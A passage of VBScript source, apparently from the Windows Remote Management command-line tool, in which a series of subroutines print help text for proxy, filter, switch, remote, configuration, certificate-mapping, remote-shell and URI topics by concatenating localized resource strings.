GetResource("L_HelpAuthAuth_012_0_Message") & NL & _
GetResource("L_HelpAuthAuth_013_0_Message") & NL & _
GetResource("L_HelpAuthAuth_013_1_Message") & NL & _
GetResource("L_HelpAuthAuth_013_2_Message") & NL & _
GetResource("L_HelpAuthAuth_014_0_Message") & NL & _
GetResource("L_HelpAuthAuth_015_0_Message") & NL & _
GetResource("L_HelpAuthAuth_016_0_Message") & NL & _
GetResource("L_HelpAuthAuth_017_0_Message") & NL & _
GetResource("L_HelpAuthAuth_018_0_Message") & NL & _
GetResource("L_HelpAuthAuth_019_0_Message") & NL & _
GetResource("L_HelpAuthAuth_020_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpAuthUsername_001_0_Message") & NL & _
GetResource("L_HelpAuthUsername_002_0_Message") & NL & _
GetResource("L_HelpAuthUsername_003_0_Message") & NL & _
GetResource("L_HelpAuthUsername_004_0_Message") & NL & _
GetResource("L_HelpAuthUsername_005_0_Message") & NL & _
GetResource("L_HelpAuthUsername_006_0_Message") & NL & _
GetResource("L_HelpAuthUsername_007_0_Message") & NL & _
GetResource("L_HelpAuthUsername_008_0_Message") & NL & _
GetResource("L_HelpAuthUsername_009_0_Message") & NL & _
GetResource("L_HelpAuthUsername_010_0_Message") & NL & _
GetResource("L_HelpAuthUsername_011_0_Message") & NL & _
GetResource("L_HelpAuthUsername_011_1_Message") & NL & _
GetResource("L_HelpAuthUsername_012_0_Message") & NL & _
GetResource("L_HelpAuthUsername_013_0_Message") & NL & _
GetResource("L_HelpAuthUsername_014_0_Message") & NL & _
GetResource("L_HelpAuthUsername_015_0_Message")
If osVersion >= osVista Then
stream.WriteLine GetResource("L_HelpAuthUsername_016_0_Message")
End If
stream.WriteLine _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpAuthPassword_001_0_Message") & NL & _
GetResource("L_HelpAuthPassword_002_0_Message") & NL & _
GetResource("L_HelpAuthPassword_003_0_Message") & NL & _
GetResource("L_HelpAuthPassword_004_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_001_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_002_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_003_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_004_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_005_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_006_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_007_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_008_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_009_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_010_0_Message") & NL & _
GetResource("L_HelpAuthCertificate_011_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub

'''''''''''''''''''''
' HELP - PROXY
Private Sub HelpProxy(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("X_HelpProxy_001_0_Message") & NL & _
GetResource("X_HelpProxy_002_0_Message") & NL & _
GetResource("X_HelpProxy_002_1_Message") & NL & _
GetResource("X_HelpProxy_003_0_Message") & NL & _
GetResource("X_HelpProxy_004_0_Message") & NL & _
GetResource("L_HelpProxy_005_0_Message") & NL & _
GetResource("L_HelpProxy_006_0_Message") & NL & _
GetResource("L_HelpProxy_007_0_Message") & NL & _
GetResource("X_HelpProxyAccess_001_0_Message") & NL & _
GetResource("L_HelpProxyAccess_002_0_Message") & NL & _
GetResource("L_HelpProxyAccess_003_0_Message") & NL & _
GetResource("L_HelpProxyAccess_004_0_Message") & NL & _
GetResource("L_HelpProxyAccess_005_0_Message") & NL & _
GetResource("X_HelpProxyAccess_006_0_Message") & NL & _
GetResource("X_HelpProxyAccess_007_0_Message") & NL & _
GetResource("X_HelpProxyAccess_008_0_Message") & NL & _
GetResource("X_HelpProxyAccess_009_0_Message") & NL & _
GetResource("L_HelpProxyAccess_010_0_Message") & NL & _
GetResource("L_HelpProxyAccess_011_0_Message") & NL & _
GetResource("L_HelpProxyAccess_012_0_Message") & NL & _
GetResource("L_HelpProxyAccess_013_0_Message") & NL & _
GetResource("L_HelpProxyAccess_014_0_Message") & NL & _
GetResource("L_HelpProxyAccess_015_0_Message") & NL & _
GetResource("L_HelpProxyAuth_001_0_Message") & NL & _
GetResource("L_HelpProxyAuth_002_0_Message") & NL & _
GetResource("L_HelpProxyAuth_003_0_Message") & NL & _
GetResource("L_HelpProxyAuth_004_0_Message") & NL & _
GetResource("L_HelpProxyAuth_005_0_Message") & NL & _
GetResource("X_HelpProxyAuth_007_0_Message") & NL & _
GetResource("X_HelpProxyAuth_008_0_Message") & NL & _
GetResource("X_HelpProxyAuth_009_0_Message") & NL & _
GetResource("L_HelpProxyAuth_010_0_Message") & NL & _
GetResource("L_HelpProxyUsername_001_0_Message") & NL & _
GetResource("L_HelpProxyUsername_002_0_Message") & NL & _
GetResource("L_HelpProxyUsername_003_0_Message") & NL & _
GetResource("L_HelpProxyUsername_005_0_Message") & NL & _
GetResource("L_HelpProxyUsername_006_0_Message") & NL & _
GetResource("L_HelpProxyUsername_007_0_Message") & NL & _
GetResource("L_HelpProxyUsername_008_0_Message") & NL & _
GetResource("L_HelpProxyUsername_009_0_Message") & NL & _
GetResource("L_HelpProxyPassword_001_0_Message") & NL & _
GetResource("L_HelpProxyPassword_002_0_Message") & NL & _
GetResource("L_HelpProxyPassword_003_0_Message") & NL & _
GetResource("L_HelpProxyPassword_004_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Auth_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub

'''''''''''''''''''''
' HELP - FILTERS
Private Sub HelpFilters(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpFilter_001_0_Message") & NL & _
GetResource("X_HelpFilter_002_0_Message") & NL & _
GetResource("X_HelpFilter_003_0_Message") & NL & _
GetResource("X_HelpFilter_004_0_Message") & NL & _
GetResource("L_HelpFilter_005_0_Message") & NL & _
GetResource("X_HelpFilter_006_0_Message") & NL & _
GetResource("L_HelpFilter_007_0_Message") & NL & _
GetResource("X_HelpFilter_008_0_Message") & NL & _
GetResource("L_HelpFilter_009_0_Message") & NL & _
GetResource("X_HelpFilter_010_0_Message") & NL & _
GetResource("L_HelpFilter_011_0_Message") & NL & _
GetResource("L_HelpFilter_012_0_Message") & NL & _
GetResource("X_HelpFilter_013_0_Message") & NL & _
GetResource("L_HelpFilter_014_0_Message") & NL & _
GetResource("X_HelpFilter_015_0_Message") & NL & _
GetResource("X_HelpFilter_016_0_Message") & NL & _
GetResource("X_HelpFilter_016_1_Message") & NL & _
GetResource("X_HelpFilter_017_0_Message") & NL & _
GetResource("L_HelpFilter_018_0_Message") & NL & _
GetResource("X_HelpFilter_019_0_Message") & NL & _
GetResource("L_HelpFilter_019_1_Message") & NL & _
GetResource("L_HelpFilter_019_2_Message") & NL & _
GetResource("X_HelpFilter_019_3_Message") & NL & _
GetResource("X_HelpFilter_019_4_Message") & NL & _
GetResource("X_HelpFilter_019_5_Message") & NL & _
GetResource("L_HelpFilter_020_0_Message") & NL & _
GetResource("X_HelpFilter_021_0_Message") & NL & _
GetResource("X_HelpFilter_022_0_Message") & NL & _
GetResource("L_HelpFilter_023_0_Message") & NL & _
GetResource("X_HelpFilter_024_0_Message") & NL & _
GetResource("L_HelpFilter_025_0_Message") & NL & _
GetResource("L_HelpFilter_026_0_Message") & NL & _
GetResource("X_HelpFilter_027_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Enumerate_Message")
End Sub
'''''''''''''''''''''
' HELP - SWITCHES
Private Sub HelpSwitches(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpSwitchTimeout_001_0_Message") & NL & _
GetResource("L_HelpSwitchTimeout_002_0_Message") & NL & _
GetResource("L_HelpSwitchTimeout_003_0_Message") & NL & _
GetResource("L_HelpSwitchTimeout_004_0_Message") & NL & _
GetResource("X_HelpSwitchTimeout_005_0_Message") & NL & _
GetResource("L_HelpSwitchTimeout_006_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("X_HelpSwitchSkipCACheck_001_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCACheck_002_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCACheck_003_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCACheck_004_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCACheck_005_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("X_HelpSwitchSkipCNCheck_001_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCNCheck_002_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCNCheck_003_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCNCheck_004_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCNCheck_005_0_Message") & NL & _
GetResource("L_HelpSwitchSkipCNCheck_006_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("X_HelpSwitchSkipRevCheck_001_0_Message") & NL & _
GetResource("X_HelpSwitchSkipRevCheck_002_0_Message") & NL & _
GetResource("L_HelpSwitchSkipRevCheck_003_0_Message") & NL & _
GetResource("L_HelpSwitchSkipRevCheck_004_0_Message") & NL & _
GetResource("L_HelpSwitchSkipRevCheck_005_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("X_HelpSwitchDefaultCreds_001_0_Message") & NL & _
GetResource("X_HelpSwitchDefaultCreds_002_0_Message") & NL & _
GetResource("L_HelpSwitchDefaultCreds_003_0_Message") & NL & _
GetResource("L_HelpSwitchDefaultCreds_004_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpSwitchDialect_001_0_Message") & NL & _
GetResource("L_HelpSwitchDialect_002_0_Message") & NL & _
GetResource("L_HelpSwitchDialect_003_0_Message") & NL & _
GetResource("L_HelpSwitchDialect_004_0_Message") & NL & _
GetResource("X_HelpSwitchDialect_005_0_Message") & NL & _
GetResource("L_HelpSwitchDialect_006_0_Message") & NL & _
GetResource("X_HelpSwitchDialect_007_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpSwitchFragment_001_0_Message") & NL & _
GetResource("L_HelpSwitchFragment_002_0_Message") & NL & _
GetResource("L_HelpSwitchFragment_003_0_Message") & NL & _
GetResource("L_HelpSwitchFragment_004_0_Message") & NL & _
GetResource("L_HelpSwitchFragment_005_0_Message") & NL & _
GetResource("X_HelpSwitchFragment_006_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpSwitchOption_001_0_Message") & NL & _
GetResource("L_HelpSwitchOption_002_0_Message") & NL & _
GetResource("L_HelpSwitchOption_003_0_Message") & NL & _
GetResource("L_HelpSwitchOption_004_0_Message") & NL & _
GetResource("L_HelpSwitchOption_005_0_Message") & NL & _
GetResource("L_HelpSwitchOption_006_0_Message") & NL & _
GetResource("X_HelpSwitchOption_007_0_Message") & NL & _
GetResource("X_HelpSwitchOption_008_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("X_HelpSwitchSPNPort_001_0_Message") & NL & _
GetResource("L_HelpSwitchSPNPort_002_0_Message") & NL & _
GetResource("L_HelpSwitchSPNPort_003_0_Message") & NL & _
GetResource("L_HelpSwitchSPNPort_004_0_Message") & NL & _
GetResource("L_HelpSwitchSPNPort_005_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpSwitchEncoding_001_0_Message") & NL & _
GetResource("L_HelpSwitchEncoding_002_0_Message") & NL & _
GetResource("L_HelpSwitchEncoding_003_0_Message") & NL & _
GetResource("L_HelpSwitchEncoding_004_0_Message") & NL & _
GetResource("L_HelpSwitchEncoding_005_0_Message") & NL & _
GetResource("L_HelpSwitchEncoding_006_0_Message") & NL & _
GetResource("X_HelpSwitchEncoding_007_0_Message") & NL & _
GetResource("X_HelpSwitchEncoding_008_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpSwitchFormat_001_0_Message") & NL & _
GetResource("L_HelpSwitchFormat_002_0_Message") & NL & _
GetResource("L_HelpSwitchFormat_003_0_Message") & NL & _
GetResource("L_HelpSwitchFormat_004_0_Message") & NL & _
GetResource("L_HelpSwitchFormat_005_0_Message") & NL & _
GetResource("X_HelpSwitchFormat_006_0_Message") & NL & _
GetResource("X_HelpSwitchFormat_007_0_Message") & NL & _
GetResource("X_HelpSwitchFormat_008_0_Message")
End Sub

'''''''''''''''''''''
' HELP - INPUT
Private Sub HelpInput(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpInput_001_0_Message") & NL & _
GetResource("L_HelpInput_002_0_Message") & NL & _
GetResource("L_HelpInput_003_0_Message") & NL & _
GetResource("L_HelpInput_004_0_Message") & NL & _
GetResource("L_HelpInput_005_0_Message") & NL & _
GetResource("L_HelpInput_006_0_Message") & NL & _
GetResource("L_HelpInput_007_0_Message") & NL & _
GetResource("L_HelpInput_008_0_Message") & NL & _
GetResource("L_HelpInput_009_0_Message") & NL & _
GetResource("L_HelpInput_010_0_Message") & NL & _
GetResource("L_HelpInput_011_0_Message") & NL & _
GetResource("L_HelpInput_012_0_Message") & NL & _
GetResource("L_HelpInput_013_0_Message") & NL & _
GetResource("L_HelpInput_014_0_Message") & NL & _
GetResource("L_HelpInput_015_0_Message") & NL & _
GetResource("L_HelpInput_016_0_Message") & NL & _
GetResource("L_HelpInput_017_0_Message") & NL & _
GetResource("L_HelpInput_018_0_Message") & NL & _
GetResource("L_HelpInput_019_0_Message") & NL & _
GetResource("L_HelpInput_020_0_Message") & NL & _
GetResource("L_HelpInput_021_0_Message") & NL & _
GetResource("L_HelpInput_022_0_Message") & NL & _
GetResource("X_HelpInput_023_0_Message") & NL & _
GetResource("X_HelpInput_024_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Set_Message") & NL & _
GetResource("X_Help_SeeAlso_Create_Message") & NL & _
GetResource("X_Help_SeeAlso_Invoke_Message")
End Sub

'''''''''''''''''''''
' HELP - REMOTE
Private Sub HelpRemote(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpRemote_001_0_Message") & NL & _
GetResource("L_HelpRemote_002_0_Message") & NL & _
GetResource("L_HelpRemote_003_0_Message") & NL & _
GetResource("L_HelpRemote_004_0_Message") & NL & _
GetResource("L_HelpRemote_005_0_Message") & NL & _
GetResource("L_HelpRemote_006_0_Message") & NL & _
GetResource("L_HelpRemote_007_0_Message") & NL & _
GetResource("L_HelpRemote_008_0_Message") & NL & _
GetResource("L_HelpRemote_009_0_Message") & NL & _
GetResource("L_HelpRemote_010_0_Message") & NL & _
GetResource("L_HelpRemote_011_0_Message") & NL & _
GetResource("L_HelpRemote_012_0_Message") & NL & _
GetResource("L_HelpRemote_012_1_Message") & NL & _
GetResource("L_HelpRemote_012_2_Message") & NL & _
GetResource("L_HelpRemote_012_3_Message") & NL & _
GetResource("L_HelpRemote_012_4_Message") & NL & _
GetResource("L_HelpRemote_012_5_Message") & NL & _
GetResource("L_HelpRemote_012_6_Message") & NL & _
GetResource("L_HelpRemote_013_0_Message") & NL & _
GetResource("L_HelpRemote_014_0_Message") & NL & _
GetResource("L_HelpRemote_015_0_Message") & NL & _
GetResource("L_HelpRemote_016_0_Message") & NL & _
GetResource("L_HelpRemote_017_0_Message") & NL & _
GetResource("L_HelpRemote_018_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpRemoteExample_001_0_Message") & NL & _
GetResource("X_HelpRemoteExample_002_0_Message") & NL & _
GetResource("L_HelpRemoteExample_003_0_Message") & NL & _
GetResource("L_HelpRemoteExample_004_0_Message") & NL & _
GetResource("X_HelpRemoteExample_005_0_Message") & NL & _
GetResource("L_HelpRemoteExample_006_0_Message") & NL & _
GetResource("L_HelpRemoteExample_007_0_Message") & NL & _
GetResource("X_HelpRemoteExample_008_0_Message") & NL & _
GetResource("L_HelpRemoteExample_009_0_Message") & NL & _
GetResource("L_HelpRemoteExample_010_0_Message") & NL & _
GetResource("X_HelpRemoteExample_011_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpRemoteUnencrypted_001_0_Message") & NL & _
GetResource("L_HelpRemoteUnencrypted_002_0_Message") & NL & _
GetResource("L_HelpRemoteUnencrypted_003_0_Message") & NL & _
GetResource("L_HelpRemoteUnencrypted_004_0_Message") & NL & _
GetResource("L_HelpRemoteUnencrypted_005_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpRemoteUseSsl_001_0_Message") & NL & _
GetResource("L_HelpRemoteUseSsl_002_0_Message") & NL & _
GetResource("L_HelpRemoteUseSsl_003_0_Message") & NL & _
GetResource("L_HelpRemoteUseSsl_004_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpRemoteConfig_001_0_Message") & NL & _
GetResource("X_Help_SeeAlso_Config_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub

'''''''''''''''''''''
' HELP - CONFIG
Private Sub HelpConfig(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpConfig_001_0_Message") & NL & _
GetResource("L_HelpConfig_002_0_Message") & NL & _
GetResource("L_HelpConfig_003_0_Message") & NL & _
GetResource("L_HelpConfig_004_0_Message") & NL & _
GetResource("L_HelpConfig_005_0_Message") & NL & _
GetResource("L_HelpConfig_006_0_Message") & NL & _
GetResource("L_HelpConfig_007_0_Message") & NL & _
GetResource("L_HelpConfig_008_0_Message") & NL & _
GetResource("L_HelpConfig_009_0_Message") & NL & _
GetResource("X_HelpConfig_010_0_Message") & NL & _
GetResource("X_HelpConfig_011_0_Message") & NL & _
GetResource("X_HelpConfig_012_0_Message") & NL & _
GetResource("X_HelpConfig_012_1_Message") & NL & _
GetResource("X_HelpConfig_012_2_Message") & NL & _
GetResource("X_HelpConfig_012_3_Message") & NL & _
GetResource("X_HelpConfig_012_4_Message") & NL & _
GetResource("L_HelpConfig_013_0_Message") & NL & _
GetResource("L_HelpConfig_014_0_Message") & NL & _
GetResource("L_HelpConfig_015_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpConfigAddress_001_0_Message") & NL & _
GetResource("L_HelpConfigAddress_002_0_Message") & NL & _
GetResource("L_HelpConfigAddress_003_0_Message") & NL & _
GetResource("L_HelpConfigAddress_004_0_Message") & NL & _
GetResource("L_HelpConfigAddress_005_0_Message") & NL & _
GetResource("L_HelpConfigAddress_006_0_Message") & NL & _
GetResource("L_HelpConfigAddress_007_0_Message") & NL & _
GetResource("L_HelpConfigAddress_008_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpConfigTransport_001_0_Message") & NL & _
GetResource("L_HelpConfigTransport_002_0_Message") & NL & _
GetResource("L_HelpConfigTransport_003_0_Message") & NL & _
GetResource("L_HelpConfigTransport_004_0_Message") & NL & _
GetResource("L_HelpConfigTransport_005_0_Message") & NL & _
GetResource("L_HelpConfigTransport_006_0_Message") & NL & _
GetResource("L_HelpConfigTransport_007_0_Message") & NL & _
GetResource("L_HelpConfigTransport_008_0_Message") & NL & _
GetResource("L_HelpConfigTransport_009_0_Message") & NL & _
GetResource("L_HelpConfigTransport_010_0_Message") & NL & _
GetResource("L_HelpConfigTransport_011_0_Message") & NL & _
GetResource("L_HelpConfigTransport_012_0_Message") & NL & _
GetResource("L_HelpConfigTransport_013_0_Message") & NL & _
GetResource("L_HelpConfigTransport_014_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpConfigExamples_001_0_Message") & NL & _
GetResource("X_HelpConfigExamples_002_0_Message") & NL & _
GetResource("L_HelpConfigExamples_003_0_Message") & NL & _
GetResource("L_HelpConfigExamples_004_0_Message") & NL & _
GetResource("X_HelpConfigExamples_005_0_Message") & NL & _
GetResource("L_HelpConfigExamples_006_0_Message") & NL & _
GetResource("L_HelpConfigExamples_007_0_Message") & NL & _
GetResource("X_HelpConfigExamples_008_0_Message") & NL & _
GetResource("L_HelpConfigExamples_009_0_Message") & NL & _
GetResource("L_HelpConfigExamples_010_0_Message") & NL & _
GetResource("X_HelpConfigExamples_011_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Uris_Message") & NL & _
GetResource("X_Help_SeeAlso_Aliases_Message") & NL & _
GetResource("X_Help_SeeAlso_CertMapping_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub

'''''''''''''''''''''
' HELP - CertMapping
Private Sub HelpCertMapping(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpCertMapping_001_0_Message") & NL & _
GetResource("L_HelpCertMapping_002_0_Message") & NL & _
GetResource("L_HelpCertMapping_003_0_Message") & NL & _
GetResource("L_HelpCertMapping_003_1_Message") & NL & _
GetResource("L_HelpCertMapping_004_0_Message") & NL & _
GetResource("L_HelpCertMapping_005_0_Message") & NL & _
GetResource("L_HelpCertMapping_006_0_Message") & NL & _
GetResource("L_HelpCertMapping_007_0_Message") & NL & _
GetResource("L_HelpCertMapping_008_0_Message") & NL & _
GetResource("L_HelpCertMapping_009_0_Message") & NL & _
GetResource("L_HelpCertMapping_009_1_Message") & NL & _
GetResource("L_HelpCertMapping_009_2_Message") & NL & _
GetResource("L_HelpCertMapping_009_3_Message") & NL & _
GetResource("L_HelpCertMapping_010_0_Message") & NL & _
GetResource("L_HelpCertMapping_011_0_Message") & NL & _
GetResource("L_HelpCertMapping_012_0_Message") & NL & _
GetResource("L_HelpCertMapping_012_1_Message") & NL & _
GetResource("L_HelpCertMapping_012_2_Message") & NL & _
GetResource("L_HelpCertMapping_013_0_Message") & NL & _
GetResource("L_HelpCertMapping_014_0_Message") & NL & _
GetResource("L_HelpCertMapping_014_1_Message") & NL & _
GetResource("L_HelpCertMapping_014_2_Message") & NL & _
GetResource("L_HelpCertMapping_014_3_Message") & NL & _
GetResource("L_HelpCertMapping_014_4_Message") & NL & _
GetResource("L_HelpCertMapping_015_0_Message") & NL & _
GetResource("L_HelpCertMapping_016_0_Message") & NL & _
GetResource("L_HelpCertMapping_017_0_Message") & NL & _
GetResource("L_HelpCertMapping_018_0_Message") & NL & _
GetResource("L_HelpCertMapping_019_0_Message") & NL & _
GetResource("L_HelpCertMapping_020_0_Message") & NL & _
GetResource("L_HelpCertMapping_021_0_Message") & NL & _
GetResource("L_HelpCertMapping_022_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpCertMappingExamples_001_0_Message") & NL & _
GetResource("X_HelpCertMappingExamples_002_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpCertMappingExamples_003_0_Message") & NL & _
GetResource("X_HelpCertMappingExamples_004_0_Message") & NL & _
GetResource("L_HelpCertMappingExamples_005_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_configSDDL_Message") & NL & _
GetResource("X_Help_SeeAlso_Input_Message") & NL & _
GetResource("X_Help_SeeAlso_Switches_Message")
End Sub

'''''''''''''''''''''
' HELP - CUSTOMREMOTESHELL
Private Sub HelpCustomRemoteShell(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpCustomRemoteShell_001_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_001_1_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_002_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_003_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_004_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_005_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_006_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_007_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_008_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_009_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_010_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_011_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_011_1_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_012_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_012_1_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_012_2_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_013_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_013_1_Message") & NL & _
GetResource("L_HelpCustomRemoteShell_014_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShellExamples_001_0_Message") & NL & _
GetResource("X_HelpCustomRemoteShellExamples_002_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShellExamples_003_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShellExamples_004_0_Message") & NL & _
GetResource("X_HelpCustomRemoteShellExamples_005_0_Message") & NL & _
GetResource("L_HelpCustomRemoteShellExamples_006_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message")
End Sub

'''''''''''''''''''''
' HELP - QUICKCONFIG
Private Sub HelpQuickConfig(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("X_HelpQuickConfig_001_0_Message") & NL & _
GetResource("X_HelpQuickConfig_002_0_Message") & NL & _
GetResource("L_HelpQuickConfig_003_0_Message") & NL & _
GetResource("L_HelpQuickConfig_004_0_Message") & NL & _
GetResource("L_HelpQuickConfig_005_0_Message") & NL & _
GetResource("L_HelpQuickConfig_006_0_Message") & NL & _
GetResource("L_HelpQuickConfig_007_0_Message") & NL & _
GetResource("L_HelpQuickConfig_008_0_Message") & NL & _
GetResource("X_HelpQuickConfig_009_0_Message") & NL & _
GetResource("X_HelpQuickConfig_010_0_Message") & NL & _
GetResource("X_HelpQuickConfig_010_1_Message") & NL & _
GetResource("L_HelpQuickConfig_011_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("X_HelpQuickConfig_012_0_Message") & NL & _
GetResource("X_HelpQuickConfig_013_0_Message") & NL & _
GetResource("L_HelpQuickConfig_014_0_Message") & NL & _
GetResource("L_HelpQuickConfig_015_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("X_HelpQuickConfig_016_0_Message") & NL & _
GetResource("X_HelpQuickConfig_017_0_Message") & NL & _
GetResource("L_HelpQuickConfig_018_0_Message") & NL & _
GetResource("L_HelpQuickConfig_019_0_Message") & NL & _
GetResource("L_Help_Blank_0_Message") & NL & _
GetResource("L_Help_SeeAlso_Title_Message") & NL & _
GetResource("X_Help_SeeAlso_Config_Message")
End Sub

'''''''''''''''''''''
' HELP - URIS
Private Sub HelpUris(stream)
dim NL
NL = vbNewLine
stream.WriteLine _
GetResource("L_HelpUris_001_0_Message") & NL & _
GetResource("L_HelpUris_002_0_Message") & NL & _
GetResource("L_HelpUris_003_0_Message") & NL & _
GetResource("L_HelpUris_004_0_Message") & NL & _
GetResource("X_HelpUris_005_0_Message") & NL & _
GetResource("L_HelpUris_006_0_Message") & NL & _
GetResource("L_HelpUris_007_0_Message") & NL & _
GetResource("X_HelpUris_008_0_Message") & NL & _
GetResource("X_HelpUris_009_0_Message") & NL & _
GetResource("X_HelpUris_010_0_Message") & NL & _
GetResource("L_HelpUris_011_0_Message") & NL & _
GetResource("L_HelpUris_012_0_Message") & NL & _
GetResource("X_HelpUris_013_0_Message") & NL & _
GetResource("X_HelpUris_013_1_Message") & NL & _
GetResource("X_HelpUris_014_0_Message") & NL & _
GetResource("L_HelpUris_015_0_Message") & NL & _
GetResource("L_HelpUris_015_1_Message") & NL & _
GetResource("L_HelpUris_015_2_Message") & NL & _
GetResource("L_HelpUris_015_3_Message") & NL & _
GetResource("X_HelpUris_015_4_Message") & NL & _
GetResource("L_HelpUris_015_5_Message") & NL & _
GetResource("L_HelpUris_015_6_Message") & NL & _
